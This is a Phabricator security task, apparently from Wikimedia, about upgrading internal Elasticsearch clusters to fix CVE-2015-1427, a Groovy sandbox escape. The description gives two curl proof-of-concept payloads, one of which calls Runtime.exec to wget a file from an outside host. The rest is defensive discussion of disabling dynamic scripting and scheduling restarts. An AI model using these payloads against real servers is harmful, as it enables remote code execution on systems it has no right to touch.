Page MenuHomePhabricator

Upgrade all ElasticSearch clusters to 1.3.8+ (RCE vulnerability)
Closed, ResolvedPublic

Description

As far as I can see, we are currently vulnerable to CVE-2015-1427, a trivial to exploit remote execution vulnerability, because we're running an older version of ElasticSearch on both of our clusters. The vulnerability & fixed versions were released over a month ago.

From upstream's release notes:
"Elasticsearch versions 1.3.0-1.3.7 and 1.4.0-1.4.2 have a vulnerability in the Groovy scripting engine. The vulnerability allows an attacker to construct Groovy scripts that escape the sandbox and execute shell commands as the user running the Elasticsearch Java VM."

PoC:
curl http://localhost:9200/_search?pretty -XPOST -d '{"script_fields": {"myscript": {"script": "java.lang.Math.class.forName(\"java.lang.System\").getProperty(\"os.name\")"}}}'
curl http://localhost:9200/_search?pretty -XPOST -d '{"script_fields": {"myscript": {"script": "java.lang.Math.class.forName(\"java.lang.Runtime\") getRuntime() exec(\"wget -O /tmp/testy http://192.168.1.1:8080/es_test.txt\")"}}}'

Obviously both of our clusters are internal, so this isn't remotely exploitable by random passer-bys; it's still an internal vulnerability, though, trivial to exploit and getting quite popular.

Event Timeline

faidon raised the priority of this task from to High.
faidon updated the task description. (Show Details)
faidon changed the visibility from "Public (No Login Required)" to "Custom Policy".
faidon changed the edit policy from "All Users" to "Custom Policy".
faidon changed Security from None to Other confidential issue.
faidon added subscribers: faidon, Manybubbles.
faidon changed Security from Other confidential issue to Software security bug.
faidon changed the visibility from "Custom Policy" to "Custom Policy".
faidon changed the edit policy from "Custom Policy" to "Custom Policy".

Cirrus doesn't support running with dynamic scripting off and we're not working on Cirrus issues that aren't "very high to on fire" priority because we've spun the team down. Thus upgrading to a version without the CVE will simply break Cirrus. If this is important to ops we can work on Cirrus.

I've known about this for a while but hoped that Elasticsearch's efforts to fix the stupid sandboxing issues would make fixing it just an upgrade. That is seeming more and more unlikely. I haven't been jumping up and down about it because when we installed Elasticsearch the scripts were totally unsandboxed as compared to the quite breakable sandbox we have now.

In any case I think the right way for Cirrus to handle this is by dropping its use of scripts entirely which is a project, if not a huge one.

This also might or might not break mwgrep but that should be reasonably simple to fix as well.

That's sad to hear… I think that the ability to run shell code via a simple HTTP call is an important vulnerability, yes, and that it should be addressed ASAP, even if it's with a bandaid.

Besides Cirrus, note that there's also Logstash. My understanding is that ElasticSearch there is directly proxied by Varnish & Apache and is open with a simple HTTP password auth to ops, WMF & NDA. That's quite a large group with varying degrees of opsec (e.g. password strength)…

That's sad to hear… I think that the ability to run shell code via a simple HTTP call is an important vulnerability, yes, and that it should be addressed ASAP, even if it's with a bandaid.

I've filed T92852 and set it to high and will see if I can get it started soon.

Besides Cirrus, note that there's also Logstash. My understanding is that ElasticSearch there is directly proxied by Varnish & Apache and is open with a simple HTTP password auth to ops, WMF & NDA. That's quite a large group with varying degrees of opsec (e.g. password strength)…

I believe you are correct. Logstash should just work with the newer version of Elasticsearch. @bd808 or some other logstash caretaker should probably do labs first and validate it but otherwise it is lower risk.

That's sad to hear… I think that the ability to run shell code via a simple HTTP call is an important vulnerability, yes, and that it should be addressed ASAP, even if it's with a bandaid.

Besides Cirrus, note that there's also Logstash. My understanding is that ElasticSearch there is directly proxied by Varnish & Apache and is open with a simple HTTP password auth to ops, WMF & NDA. That's quite a large group with varying degrees of opsec (e.g. password strength)…

AFAIK Kibana (logstash frontend app) does not use dynamic scripting at all so disabling it at the Elasticsearch level shouldn't cause any problems. We can pull a patched deb down on deployment-logstash01 in the beta project to validate this assumption.

Any news about this?

Yesterday morning I restarted the last node that in the rolling restart to deploy the plugin changes that made to support this.

We should be able to retest and merge the cirrus changes on Monday.

To turn off dynamic scripting we'll need to do another rolling restart. I wanted to time that restart with the upgrade to 1.6 which should be coming - but I don't really see that happening given the backlog of issues tagged for that release. Given that lets just do the next rolling restart just to pick up that setting....

I'll update this with a date for the next restart. They take about 3 days now.

demon changed the visibility from "Custom Policy" to "Public (No Login Required)".Jul 21 2015, 4:54 PM
demon changed the edit policy from "Custom Policy" to "All Users".
Restricted Application changed the visibility from "Public (No Login Required)" to "Custom Policy". · View Herald TranscriptJul 21 2015, 4:54 PM
Restricted Application changed the edit policy from "All Users" to "Custom Policy". · View Herald Transcript
Restricted Application added a subscriber: Matanya. · View Herald Transcript
demon changed the visibility from "Custom Policy" to "Public (No Login Required)".Jul 21 2015, 4:55 PM
demon changed the edit policy from "Custom Policy" to "All Users".
Restricted Application changed the visibility from "Public (No Login Required)" to "Custom Policy". · View Herald TranscriptJul 21 2015, 4:55 PM
Restricted Application changed the edit policy from "All Users" to "Custom Policy". · View Herald Transcript
demon changed the visibility from "Custom Policy" to "Public (No Login Required)".Jul 21 2015, 4:55 PM
demon changed the edit policy from "Custom Policy" to "All Users".
demon changed Security from Software security bug to None.
Restricted Application added a subscriber: Liuxinyu970226. · View Herald Transcript